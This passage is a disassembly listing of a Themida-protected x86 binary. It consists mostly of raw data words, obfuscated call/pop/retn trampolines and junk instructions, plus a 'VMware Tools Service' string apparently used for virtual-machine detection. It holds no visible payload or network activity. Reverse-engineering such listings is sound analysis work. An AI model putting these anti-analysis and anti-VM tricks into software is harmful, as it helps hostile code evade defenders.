		dd 7, 0C7816657h, 0FF5E40AFh, 131D8995h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 29EC5AF7h, 7F2AB72Eh, 820F877Dh, 0
; ---------------------------------------------------------------------------
		movzx	edi, cx
		push	0
		call	dword ptr [ebp+6130DA9h]
		mov	eax, eax
		jmp	short loc_5D1BEE
; ---------------------------------------------------------------------------
		db 4Fh
		dd 0CF6CAAADh, 0FEBAACAEh, 0CD804892h, 0C065C51h, 49C127CCh
		dd 0FC33B55Dh, 7F55846Eh, 0D448A6BEh, 67384E7Ch, 0EFE05D82h
		dd 199376E6h
		db 0FCh, 0Ch
; ---------------------------------------------------------------------------


loc_5D1BEE:				; CODE XREF: Themida_:005D1BBDj
		lea	ecx, [ebp+61859F4h]
		push	esi
		sub	[ebp+6130BF5h],	ebx
		pop	eax
		mov	[ebp+6131BBDh],	ecx
		add	[ebp+61331DDh],	esi
		mov	dword ptr [ebp+61318DDh], 5E28h
		push	0
		push	ecx
		call	sub_5D1C1D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1C1D	proc near		; CODE XREF: Themida_:005D1C15p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D1C1D	endp

; ---------------------------------------------------------------------------
		db 7Ah,	0E9h, 0Fh
		dd 0B2000000h, 59A143AFh, 5C14FB1Bh, 0BA0F17Bh,	85C771FEh
		dd 6133055h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D1C57
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1C57	proc near		; CODE XREF: Themida_:005D1C4Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5D1C57	endp

; ---------------------------------------------------------------------------
		db 0F3h
; ---------------------------------------------------------------------------
		add	ebp, [esi+edx*2-23h]
		mov	ebp, 0C5B06A46h
		mov	dh, 39h
		push	dword ptr [ebp+613125Dh]
		push	0
		push	ebx
		call	sub_5D1C84
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1C84	proc near		; CODE XREF: Themida_:005D1C7Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5D1C84	endp

; ---------------------------------------------------------------------------
		dd 3FEA119Ah, 7118D484h, 0E9852B75h, 0FF061334h, 131D8995h
		dd 8810F06h, 51000000h,	8B4BDB81h, 6A5B31D3h, 0A995FF00h
		dd 8B06130Dh, 0DF08EBC0h, 0F942D090h, 0E9F92C04h, 0B0h
		dd 0DA8C6660h, 0F04C2F6h, 0C85h, 6D853B00h, 0F061311h
		dd 3684h, 0D1853B00h, 0F061310h, 2A84h,	0C9853B00h, 0F061307h
		dd 1E84h, 0CD853B00h, 0F061314h, 1284h,	75BD8300h, 106131Ah
		dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h
		dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h
		dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h
		dd 17820Fh, 0CF3B0000h,	0F830Fh, 0C3830000h, 850F4A04h
		dd 0FFFFFFDCh, 0DE9h, 8D9D8D00h, 0B806134Fh, 5,	0C361E3FFh
		dd 9D8DD00Bh, 6133005h,	0CEB8h,	99858900h, 0E8061325h
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5D1E73
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F2h
		dd 32h dup(0F2000076h)
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D1E73:				; CODE XREF: Themida_:005D1DA0j
		jmp	loc_5D1F02
; ---------------------------------------------------------------------------
a2VmwareToolsSe	db '2[VMware Tools Service',0
		align 4
		dd 1Bh dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1F02:				; CODE XREF: Themida_:loc_5D1E73j
		jmp	loc_5D2D44
; ---------------------------------------------------------------------------
		push	6185DBEh
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	6185EAAh
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	6186047h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	6186086h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	6186128h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	61861C2h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	6186566h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	61867E9h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	61868D1h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		db 0Eh,	0ECh, 0C3h
		dd 5758B5DDh, 0C8E3F969h, 5B54AADAh, 0CBD4FD65h, 0D775E9D5h
		dd 473BA5FAh, 0DD85FBB0h, 9FD3ADFEh, 6E806249h,	0B4B622AAh
		dd 8986428Ch, 4A61773Ch, 0CEDDFB89h, 0E641DBF4h, 0F64FDA72h
		dd 0B3D3EA1h, 24EB6C6h,	0AF4EBD78h, 2CC1D300h, 27974E83h
		dd 0A189F81Ah, 0B04CC498h, 0F604B6FBh, 0CA067786h, 411B48h
		dd 272B0000h, 780A359Fh, 708B03BDh, 8644763Bh, 93FB6174h
		dd 0C3EC0174h, 60FAF305h, 0C2B951C5h, 0C03EA1BDh, 0E7E9A7Eh
		dd 0BD783C9Ah, 0A9AA3072h, 783CAD13h, 0C992B8BDh, 0CA24AA59h
		dd 0C8F048h, 0FBA50000h, 0EA7486E3h, 0DEFC9908h, 985952B6h
		dd 0E2CD20B0h, 0D33FD931h, 5440712Eh, 53C545B4h, 294494B2h
		dd 1D87FFF7h, 0EB4494B2h, 0D707EFB9h, 10656413h, 0A3B04AFFh
		dd 0EED4D731h, 9498C17Eh, 0FAB14744h, 0AFFCDC88h, 752AC747h
		dd 0A7C16E63h, 11FC8C8Ch, 73EA1A6h, 48D2EBD5h, 0CC546CF7h
		dd 4A801EC8h, 0FE533ECEh, 1749C74Dh, 4D52AF1Fh,	0BDE2FF73h
		dd 3C39CCh, 64654E71h, 0C09h, 0E8DAD535h, 744E617Ch, 0E1BFEC00h
		dd 70525DB1h, 0E0C2DD04h, 0F3DE7EF0h, 0A94E36ACh, 17F4A002h
		dd 0A2462E94h, 41459709h, 8CB55FC9h, 15402D42h,	5B455A77h
		dd 5EDAD127h, 0E866D27Ah, 14564494h, 0E46C9C06h, 906AA704h
		dd 48D24B8Ah, 455D79DDh, 3B511863h, 0A9E1F763h,	3EA1F4B2h
		dd 0B3A54E90h, 26EBC01Bh, 70E464D4h, 48BD79F5h,	10880416h
		dd 0DBD79F5h, 5B4242Dh,	4948CBEDh, 0A5h, 4A6177FAh, 0C9D6FB89h
		dd 60E00008h, 0B410A62h, 68157583h, 624494E9h, 85931CF2h
		dd 0E2C0EB0Dh, 0E15556B2h, 0F2299071h, 68D4AA4Dh, 0F3E0FAB0h
		dd 0F07223Ch, 0A12A9477h, 6240823Eh, 0DD52F38Dh, 601C71FCh
		dd 0A42414D6h, 0C74D6658h, 0DBD028A0h, 48A9290Dh, 0DA609A57h
		dd 0F4AB56BEh, 0A4FBE68Eh, 0FFA38827h, 0F792BD70h, 0B1Dh
		dd 0FCE6C921h, 483A7588h, 0F5EBC01Ch, 643E718Dh, 0F4CED130h
		dd 2FD24ABCh, 85621270h, 33C8BC26h, 7E5A0A78h, 9579532Dh
		dd 8CB683F5h, 418C7942h, 5B455A77h, 0E8DAD127h,	4A6177BDh
		dd 0D8D896CEh, 1DDD0FFEh, 2ACEB61Bh, 0DBF71F81h, 94B8F96Bh
		dd 8B8DCF44h, 0E94DD862h, 298265EDh, 0A0B87B0Fh, 92023EA1h
		dd 8B7D3675h, 79D989FBh, 8B3D7FBDh, 1ED3156Dh, 79D936AEh
		dd 3E0B33BDh, 0CBC13FCEh, 76348h, 6C300000h, 7D9h, 0DD48D245h
		dd 0F5F6D179h, 0D8783EA1h, 0F38FA906h, 749400B1h, 8C2ED01h
		dd 9D0EEA9Ah, 2EBCE474h, 48D94D0h, 5D7D0D2Bh, 3CA4BC21h
		dd 58CC3C58h, 30D63C2Fh, 4A8724B8h, 3EA03A70h, 91416135h
		dd 1BBD1B65h, 65830F29h, 0F91D7160h, 8446BCDCh,	0D0DBFC94h
		dd 4CACD84Ah, 0A31AB25Fh, 0AAD63CC6h, 7187DFECh, 0BC1C483Ah
		dd 47CAC2EFh, 45776EBEh, 4ACE039Ch, 3CC656C2h, 0F0E426D6h
		dd 5F628F1Ch, 6EDEB2BFh, 0D63CC6FAh, 7A5A90D2h,	21B70FDCh
		dd 0FAECF8A4h, 0AC0B164h, 0B90CEC98h, 0F40722B5h, 0D300CA4Bh
		dd 7B24CD45h, 3BF6905Dh, 98404BBBh, 0F436AC09h,	2106F58Eh
		dd 9C2C2C07h, 0B23482C5h, 0ED9D0143h, 8027EF64h, 0A942B3CDh
		dd 0B850C802h, 96D075ADh, 37E8295Bh, 7616022Dh,	9CC1695Dh
		dd 278463CBh, 0FBDD75E1h, 31C703B0h, 0A00BED65h, 8F8ED642h
		dd 5AA65718h, 16F222B8h, 0F21F8C5Fh, 67A10AE2h,	217928A1h
		dd 0DDC61970h, 980DCh, 931CBE00h, 7A8452Dh, 9813E999h
		dd 0BA43A2Ah, 9B04ED95h, 7857925h, 97CBB5EAh, 0D756B40h
		dd 0AFE3BDEEh, 5E705259h, 88A612BAh, 9996428Ch,	4A61776Ch
		dd 2829AA41h, 0ADCCF77Dh, 941h,	0F0D2DDFDh, 5C466984h
		dd 0E9D7D428h, 584A6579h, 0E8DAC52Ch, 1BC646B8h, 91761E84h
		dd 1FBCA81Ah, 8A6E168Ch, 692DBF21h, 8C8877E1h, 0FD484542h
		dd 894A6177h, 0D7C9D6FBh, 5CE651BAh, 9EE565D1h,	6C3EA1FAh
		dd 6316463Ah, 44FDE4DDh, 7F07EF3Ah, 68E65F4h, 3C58C002h
		dd 889D58CCh, 0ECEE3076h, 32E38E7h, 795E7313h, 0E4C80C83h
		dd 9111F064h, 0A6F9D868h, 3A1EEC1Eh, 0A869429Ah, 40D0C852h
		dd 799D03A8h, 0E68BB629h, 90ED3A89h, 0C3D59497h, 7F1325E3h
		dd 84494269h, 0F9A92DCEh, 89FBBCEh, 4B9F0000h, 0F7167E64h
		dd 429ACAB8h, 0F30B7769h, 339EC6BCh, 0D44A766Ch, 9C069938h
		dd 269C0FE8h, 0B40E9D3Eh, 1D8328C0h, 0D53FC7CFh, 0A3428C89h
		dd 61775FA6h, 0E0FB894Ah, 53A5D5CBh, 3D4494E8h,	44C439D5h
		dd 4494E8D0h, 7F3476A8h, 0A6C0AD4Bh, 57FB8B8Bh,	653EAD34h
		dd 73E56571h, 49BD734Ch, 4C219317h, 0E517BD73h,	9F87AF53h
		dd 25A039B6h, 1314EF1Ch, 4583ED33h, 0DDFB9383h,	6880F4CEh
		dd 0A8A8E43h, 0C1F9BAF1h, 0A9F6DB37h, 2C7F5C68h, 0F5FF89Fh
		dd 47426D77h, 805h, 0B40EA139h,	20822DC0h, 0AD139874h
		dd 1C8629C5h, 0AC168968h, 678A02F4h, 0BD1A4A38h, 0BE094EEh
		dd 0B65242A0h, 4D318BF5h, 8C894BBDh, 0F9444142h, 0DD87E3FBh
		dd 0F4870EE9h, 614AAEE6h, 0E7C424B0h, 0E6F3932Ah, 5F416A8Eh
		dd 0B0C517B7h, 6B9F5457h, 8496749Dh, 266AC9F8h,	4EF8DB1h
		dd 0FB460000h, 81327993h, 0A4BEAF49h, 9898D89h,	0C3F7BCEFh
		dd 34BDD535h, 79AB3EADh, 0B8F3157Dh, 923A1ECAh,	0BD734D26h
		dd 2946D416h, 0AA2A0E11h, 77DC5E4Dh, 0DF59D805h, 46133B92h
		dd 5DD427D6h, 326B31h, 0D2180000h, 0D373E346h, 4494E861h
		dd 5CEC2557h, 88920DF4h, 2E0AD004h, 0DCE54524h,	0BE715D6Ch
		dd 0E016Eh, 7D150000h, 67A3505Bh, 0BE6C82D1h, 45000001h
		dd 2EE346D2h, 38FC619Eh, 9B10E76Bh, 0EE5AF256h,	0DEC2077Ch
		dd 0A0C928ACh, 68A95F4Ch, 0F315DE7Ch, 14E8688Ch, 0EDB8197h
		dd 0B5646F9Eh, 333337h,	0D2E00000h, 9E2EE346h, 6B38FC76h
		dd 9CAE106h, 5EF902CBh,	553DBE2Fh, 0B6BBF8B3h, 0CF774B18h
		dd 0C2079465h, 0E8D71153h, 0FA097942h, 0A037B590h, 68h
		dd 3146D275h, 94E82F99h, 1DEB1D44h, 0E8279139h,	0D3154494h
		dd 9E0DEB63h, 8C839575h, 88D2F54h, 0EA198952h, 0B0B12651h
		dd 3Ch,	0A0C928A8h, 93A56348h, 0E346D240h, 0E863D373h
		dd 13554494h, 47E7126Bh, 2DDC4C15h, 71B126ECh, 18h, 1036C22h
		dd 58880000h, 8F6B2D0Fh, 77F77B0h, 44943B9Dh, 0B49F396Bh
		dd 0AC6Ch, 46D24500h, 2E2A2EE3h, 94E82A9Eh, 5AE02244h
		dd 652B21B2h, 955EFC8Fh, 89519625h, 5ABC1Bh, 0D2890000h
		dd 0DB73E346h, 6D29AFFCh, 94E86BDDh, 0F21F6144h, 74BD42DAh
		dd 0F2FF5F24h, 0F9237382h, 30176Eh, 0FBEC0000h,	0FD8273E3h
		dd 0A33F7FEBh, 0EA0D61E3h, 155AE0CBh, 96362205h, 44944422h
		dd 912BE81Ah, 5774110Bh, 0BB2B3816h, 23C6930Ch,	752h, 726C0300h
		dd 45000000h, 894A6177h, 94E88CF3h, 39728A44h, 0BBF00C78h
		dd 3DD0C4F6h, 0AC324172h, 322C7D9Fh, 0C9415529h, 4494E85Fh
		dd 0B5DDFB2Dh, 70E05853h, 9A08129Dh, 0E346D22Bh, 547262BBh
		dd 35D93902h, 694494DDh, 258665EDh, 78EC5CECh, 50BB6B1Bh
		dd 0BE3EDC0Eh, 4ED91F0Eh, 0FFFF2D52h, 0CE6C03FFh, 88000002h
		dd 0FDB6E908h, 73356A87h, 931CB54Fh, 5CDE2FD8h,	4A6177F9h
		dd 0CEDDFB89h, 0E641DBF4h, 0FEE6672h, 0A7F29AA0h, 553EA1F6h
		dd 76EEDE13h, 73BD7801h, 7F8EFECBh, 2348CA05h, 5Ah, 6F17FBF0h
		dd 4494E805h, 4627B1F3h, 1105F13Ch, 94E80F79h, 6C95FD44h
		dd 0B3637533h
		dd 0A1BD2C13h, 22AAAE3Eh, 0BD783BB6h, 7B387796h, 0F701433Fh
		dd 2688738Bh, 2F4BE88h,	0B710BC8h, 16BD7800h, 0CBB2B38h
		dd 5248CA18h, 0E8h, 0CE2FCE46h,	780CCA3Eh, 4A80C2BDh, 6177A5B0h
		dd 0D6FB894Ah, 5C7C08C9h, 26B7BE19h, 38724889h,	0B5534172h
		dd 34309610h, 60AA6ACEh, 0DDFE9682h, 3DE525CEh,	49A9201Bh
		dd 6B9F39E4h, 44941D32h, 0C9B7F414h, 74896AF4h,	0D444763Bh
		dd 941BC034h, 4486B844h, 0B4D634D4h, 72663EA0h,	7FA46EDAh
		dd 1F906EBDh, 2BD761A3h, 0FD19FDF9h, 7FA41B8Dh,	0EDC851BDh
		dd 0A3A07584h, 0B75BDD1Fh, 5191851Ah, 3E65F8E7h, 0A4FBE676h
		dd 0CB4D9B6Fh, 0DBC42D55h, 13E41BCEh, 0A7FA877h, 461h
		dd 0D0B2FDDDh, 7C6649A4h, 0C9B7F408h, 786A4599h, 0C8BAE50Ch
		dd 0FBE666D8h, 0B1563EA4h, 0FFDC88FAh, 0AA4E36ACh, 494D9F01h
		dd 8C8D57C1h, 0DD282542h, 5B455A77h, 0E7C423ABh, 8427C151h
		dd 815AFA1Eh, 81773144h, 509AAB78h, 82D167A3h, 0F0986177h
		dd 4494E884h, 3B783274h, 4A745CDh, 2CA315CFh, 4A492831h
		dd 0BE1A7A80h, 203A93EDh, 40713ECFh, 0BCD8408Ah, 161CDCA4h
		dd 8A6DCB19h, 0D01AF021h, 36705C34h, 23B523C7h,	0A106E4E7h
		dd 6390D23Eh, 55F5E1F5h, 0BD7933E3h, 0B123A7D9h, 97BD7933h
		dd 54A66B40h, 800C0E50h, 0BD79331Ah, 4E222FEFh,	3356C24Ah
		dd 0E426BD79h, 57FC5340h, 25B324ABh, 21BD3E48h,	63A5658Eh
		dd 0CA7853F3h, 2C5EC74Ch, 0CCADF42Ch, 2CF67C65h, 4E0C289Ch
		dd 2CDE20B7h, 213B940Eh, 0D07A1206h, 50CD77D0h,	47AA2A0Eh
		dd 0D95F9B58h, 0F4B755BDh, 0EEA6A8Eh, 8496749Dh, 5660AA08h
		dd 169576A9h, 53ADACh, 6F840000h, 4494E809h, 714FDA62h
		dd 61DAEB01h, 7A5F1DD5h, 0BDD93D8Bh, 945FDB4Dh,	696FB144h
		dd 5FE05468h, 0C1C74494h, 0E5F3BC51h, 0FA126A77h, 0A727CFB1h
		dd 2C985956h, 0D832DFCCh, 6F8C0812h, 0CBC7E806h, 852E7C33h
		dd 945F9007h, 0FDC8244h, 198724B7h, 116477AAh, 0BDF6B4F7h
		dd 7F7734C7h, 0F1CAFF0Fh, 0D9B66D40h, 4F849654h, 1DBA5A3Eh
		dd 9D28C8Eh, 6F515AB1h,	7F60787h, 9468157Fh, 67A1E344h
		dd 7BD739D1h, 0B0B4494h, 8F446B83h, 0AF5D9D3Bh,	0F1B12681h
		dd 0FFFFFF67h, 4A6177A2h, 0CEDDFB89h, 3441DBF4h, 94E82094h
		dd 24E61844h, 0C2D9EC34h, 4F33F349h, 0EA3DCDC9h, 0A03EA1D4h
		dd 2BA3B55Eh, 0E218D9C6h, 0E44CB458h, 0F159BD79h, 0E04978E8h
		dd 230D48CBh, 0C6000000h, 56A748D2h, 1FA78F59h,	3EA1BD38h
		dd 7D0FC406h, 0BD783B07h, 0BF2F3C22h, 48CA2330h, 0B656h
		dd 0E3FB2F00h, 79BD21B3h, 0A641315Ah, 0ECEECC05h, 965B50A8h
		dd 17DCC32Eh, 0B3604BADh, 74E4C721h, 66AB00DCh,	601C8694h
		dd 4494DB3Fh, 0C6BCEF09h, 40713A9Eh, 7A438D8h, 0C762FCF1h
		dd 8B2B0F4Fh, 0C236289Dh, 4DE86038h, 3B3EA1ACh,	5FD49123h
		dd 8C3E5610h, 74BFC916h, 0BCEF0C84h, 6135C3F7h,	4DAC9FE9h
		dd 0BB3B6DC7h, 8FF1AE53h, 28A1FEE3h, 71006E4Bh,	0DEBACFF8h
		dd 60000001h, 0C7BB258Ah, 5B077936h, 0CCB82A81h, 6F237D32h
		dd 0FBB30D92h, 2F70910Bh, 0E5C62151h, 377487FBh, 0ECBF1949h
		dd 0A820E8F6h, 428C8F3Ch, 77F61F0Ch, 275B455Ah,	6649A4D1h
		dd 0D2973EA4h, 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h
		dd 840410F4h, 0BD783C10h, 0BA24B6E8h, 24B241B1h, 0C2D848CAh
		dd 0AD000000h, 377493FBh, 149771A1h, 452979DFh,	0DD31571Ah
		dd 19A1952Dh, 0DEEF9833h, 8619B85Ch, 0AE53BB4Dh, 5DC73Fh
		dd 0F92B4494h, 0BCE129AFh, 8A44940Dh, 2F633D6Eh, 0E21D2D9h
		dd 0CD3DB974h, 3EA13D6Ah, 0EB04DE20h, 0F262D651h, 9D5D9615h
		dd 180B7B9Bh, 82C74DF4h, 0CEA4A062h, 3CBEA48Eh,	32A296C8h
		dd 6C68D0CFh, 4CC968DCh, 3860B7h, 1269BAEFh, 356B6D3Bh
		dd 6EFBA44Dh, 710099A7h, 0F656735Ch, 48000000h,	0EFA3FDB2h
		dd 432F911Eh, 0F4A002A9h, 372B951Ah, 239B059Ah,	67389933h
		dd 0BDEE0979h, 4F5CAFE3h, 0C4E70171h, 800810DEh, 428C8014h
		dd 779EE7E4h, 275B455Ah, 0F65EDAD1h, 20829817h,	4A6177B5h
		dd 0CEDDFB89h, 0E641DBF4h, 72E66672h, 4A4494E8h, 76160218h
		dd 3EAD34A8h, 0EFE50E50h, 2E815C19h, 0AEFD0F85h, 0C503C505h
		dd 5A51A7DBh, 179876DEh, 9A11EADAh, 0F389CA50h,	7E39F128h
		dd 6AC28F2Fh, 1D391D8Eh, 9B073BADh, 0B325A5D8h,	89D89B07h
		dd 0DF674B57h, 0D89B0775h, 31C70143h, 466583EFh, 9F42D2h
		dd 13EBD9FAh, 824C579Ch, 61F1E5B9h, 39AB1F80h, 0FD89B07h
		dd 0AA674497h, 14809A50h, 1DC9B7F4h, 7279139h, 0D315D89Bh
		dd 0CE2BCD45h, 9B07CA3Eh, 702FD2D8h, 0BBF8B2F4h, 57C1494Dh
		dd 25D89B07h, 0BF713FE3h, 9E760037h, 3ED9Ch, 40C40000h
		dd 4C637759h, 0D0DBFD87h, 515AB123h, 0D8D334A0h, 5748A91Bh
		dd 0D8C72A9Ah, 5A55A91Bh, 0DAD12B99h, 5D52AB19h, 886852B4h
		dd 89000023h, 8952242Ch, 4C281E2h, 83000000h, 148704EAh
		dd 1C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 243C895Ch, 4C020EBBh, 4EEB8147h, 4B755131h, 2414F753h
		dd 57C3815Bh, 54D8132Dh, 81243C8Bh, 4C4h, 0DA895200h, 8B085789h
		dd 0C4812414h, 4, 57243C8Bh, 0C781E789h, 4, 4C781h, 3C870000h
		dd 34FF5C24h, 0C4815B24h, 4, 0FBDD1BE9h, 0B189EFFh, 44F25996h
		dd 0B7EE4346h
; ---------------------------------------------------------------------------


loc_5D2D44:				; CODE XREF: Themida_:loc_5D1F02j
		mov	eax, 61869ECh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 33h,	0A0h, 3Fh
		dd 0DCAD5F03h, 0A42DDB7Eh, 0D8A54F02h, 402FE91Dh, 0A1B5E177h
		dd 0FA142863h, 9E819h, 0B5B40000h, 0B0DA0A84h, 66EDE810h
		dd 815ED18Bh, 40CA4AF2h, 0E7C68101h, 5300005Dh,	685ACB8Ah
		dd 174Ah, 4634D281h, 815F4559h,	3EC6FBD2h, 0F36FF0Bh, 380h
		dd 63C88000h, 13E95Bh, 0B2300000h, 62A14A4Dh, 0FAB37DD3h
		dd 0E43609B3h, 0A2F3F6F8h, 0A5F381A5h, 81776973h, 85CAB8EAh
		dd 27C3810Eh, 8025A22Fh, 0C3813CC0h, 57404E00h,	13E9h
		dd 624D5A00h, 69237207h, 0F5385CA3h, 0BA4D2208h, 25B2D835h
		dd 45B91E89h, 8354D476h, 7E803EEh, 59000000h, 6F2262F6h
		dd 8B0F979Bh, 15h, 10E9h, 0EE04D300h, 9EA873F2h, 8A83EA6Dh
		dd 0C757B43Eh, 8A4E5AE4h, 850F4FF3h, 0FFFFFF6Dh, 10FE9F8h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 9326F9C3h, 8E212089h, 6BFAB58Dh, 6A0618h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 3A5480C3h, 0F9FB1998h, 4483858Dh, 890F0616h,	1Ah, 14820Fh
		dd 0FE90000h, 3A000000h, 3A66391Eh, 0FC5D66A2h,	549F3790h
		dd 0FFF87FFBh, 52B160D0h, 0E860C361h, 6, 975AB879h, 830FAD82h
		dd 0
		dd 61D18B59h, 0FD98C66h, 885h, 8D0F6000h, 0
; ---------------------------------------------------------------------------
		popa
		test	cl, 4
		jz	loc_5D2F17
		cmc
		mov	edi, ebx
		mov	ecx, ebx
		xor	al, al


loc_5D2EE5:				; CODE XREF: Themida_:005D2EE6j
		scasb
		jnz	short loc_5D2EE5
		sub	ecx, edi
		neg	ecx
		sub	edi, ecx
		mov	edx, edi
		dec	ecx
		mov	ebx, ecx
		jmp	short $+2
; ---------------------------------------------------------------------------
		db 0CDh, 20h, 3Fh
; ---------------------------------------------------------------------------
		add	[ecx], eax
		add	[ebx], cl	; CODE XREF: Themida_:005D2F15j
		sal	byte ptr [eax+ebx-73h],	70h
		or	al, 8Bh
		cli
		mov	ecx, ebx


loc_5D2F06:				; CODE XREF: Themida_:005D2F0Aj
		cmpsb
		jnz	short loc_5D2F13
		dec	ecx
		jnz	short loc_5D2F06
		mov	eax, 1
		jmp	short locret_5D2F1C
; ---------------------------------------------------------------------------


loc_5D2F13:				; CODE XREF: Themida_:005D2F07j
		mov	eax, [eax]
		jmp	short near ptr loc_5D2EFA+1
; ---------------------------------------------------------------------------


loc_5D2F17:				; CODE XREF: Themida_:005D2ED8j
		mov	eax, 0

locret_5D2F1C:				; CODE XREF: Themida_:005D2F11j
		iret
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5D2F28
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2F28	proc near		; CODE XREF: Themida_:005D2F20p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5D2F28	endp

; ---------------------------------------------------------------------------
		dd 810FF866h, 5, 0D7B70F60h, 2D85C761h,	3F06186Ch, 0E8000101h
		dd 0Eh,	53812969h, 57846075h, 99AAE817h, 816614F7h, 593D4BD7h
		dd 81D7B70Fh, 65B0C1h, 0C2B70F00h, 0EE8F62Bh, 12000000h
		dd 48FE304Ah, 0A13C71Ch, 0D36F01Fh, 0F08166EDh,	8B5F00D8h
		dd 0FE9311Ch, 53000000h, 0AEA27274h, 75F8B9A9h,	89249F07h
		dd 0EB81DA93h, 5259DB5Ch, 811AE080h, 0BE0CC1C3h, 0F8BF0F3Eh
		dd 0EC30F381h, 8B6609A7h, 0C78B53D3h, 0F31048Fh, 8Ah, 81FB8B00h
		dd 2FD0C1EEh, 0C18B6678h, 0D0BDC681h, 8B66782Fh, 0E8FE81D7h
		dd 0FFFFF9Ah, 0FFFFA285h, 0BFD080FFh, 60EBh, 17h dup(0)
		dd 8BE90000h, 0E900000Bh, 0B7Fh, 18752568h, 13C6E906h
		dd 9E68FFFBh, 0E9061876h, 0FFFB13BCh, 18770168h, 13B2E906h
		dd 0E16DFFFBh, 0E3735575h, 0D3654B6Bh, 0E2715777h, 0DB6A506Eh
		dd 0C56A5979h, 9B3B19A8h, 8B2B27B5h, 983612A5h,	8D2D1FB2h
		dd 0F06A9BC4h, 0B916B621h, 6FBDFE60h, 49DEC4E3h, 0A52F6EFFh
		dd 0A6362446h, 9310EACh, 44C594B8h, 45075A7Ch, 0CB7DD2F4h
		dd 4A08587Ah, 78AD7FBh,	47C697B7h, 0A6331726h, 2CBB9FAEh
		dd 9F311524h, 26B89AABh, 0C61B1928h, 91C4E3C0h,	109DB535h
		dd 8559FFEh, 9DB50327h,	0DA82B453h, 446B1685h, 0C9DD3E23h
		dd 4E00520Eh, 748A52Fh,	85877CD6h, 0A1C0450Ah, 0C2902002h
		dd 4DFD4F73h, 93B7A42Ch, 86AC0B43h, 0AE285D35h,	770A8586h
		dd 96507716h, 0F0C3860Dh, 9797C50Fh, 0B9963553h, 0C50F4391h
		dd 8560D046h, 3D0C910Ah, 97C6C819h, 0A85613Bh, 0AB27616Ch
		dd 0ABB82226h, 8AAB0B6Ah, 0DFDE38ADh, 66A70A84h, 6CBD045Eh
		dd 735046E0h, 854FFF4Fh, 0C7BDA3DBh, 4767C16Bh,	0A641DE99h
		dd 4D41h, 0BDA31500h, 0E5BFE8C7h, 0B39537B4h, 0C229B33Dh
		dd 9DB53793h, 0F1477010h, 0C4513FBh, 0BC902185h, 7646CADh
		dd 0F63995C8h, 372109Dh, 109DF587h, 1F7ECD50h, 68C2E47Eh
		dd 45E16DBDh, 20C4E37Dh, 0E7000000h, 0B53995C8h, 8302109Dh
		dd 0BDA39F39h, 93C26BC7h, 109DB537h, 0C29BB726h, 0E16DBD68h
		dd 0A3E37D45h, 7AEBC8BEh, 168EA21Fh, 5606DFE8h,	83FD6FAh
		dd 29A9D869h, 800A8A86h, 85017453h, 4E0A8A85h, 0F25AEBCFh
		dd 709A2263h, 3AE3B1DBh, 0B04B5AADh, 0EF000001h, 0DA0BBFA3h
		dd 109DB580h, 0A0B40149h, 70117091h, 6CDC6F53h,	94067764h
		dd 4D109DB4h, 7D5A79C8h, 9DB38E08h, 0AE365710h,	933319ACh
		dd 0E66095B2h, 0AF109DB3h, 0BDFC666Eh, 0DFC3E06Ch, 6CF6FE4Eh
		dd 0BDA3F650h, 67C16BC7h, 0FD4BE0C2h, 3BA32D6Ch, 0A641DE6Dh
		dd 39D5h, 0BDA36900h, 93C26BC7h, 109DB537h, 92FA4A70h
		dd 2A93D175h, 7CCDAC29h, 0F716D31Dh, 0BD68C25Bh, 7D45E16Dh
		dd 51E0C2E3h, 0E0153203h, 109DB566h, 458FEE2Fh,	391Ah
		dd 0E0C2B800h, 2D6CFD4Bh, 335197A3h, 0C842B394h, 0FC109DB4h
		dd 3154E369h, 42133F8Dh, 0C25FF9C3h, 9DB53793h,	1E4F7010h
		dd 109DB4C4h, 49C0088Dh, 68C26EC8h, 45E16DBDh, 0BFA3E37Dh
		dd 78C8EAC9h, 0C20A8BDAh, 3B90B295h, 0D644C30Dh, 87109DB4h
		dd 2F183706h, 0D3020A06h, 109DBC77h, 26F6DD40h,	2628B067h
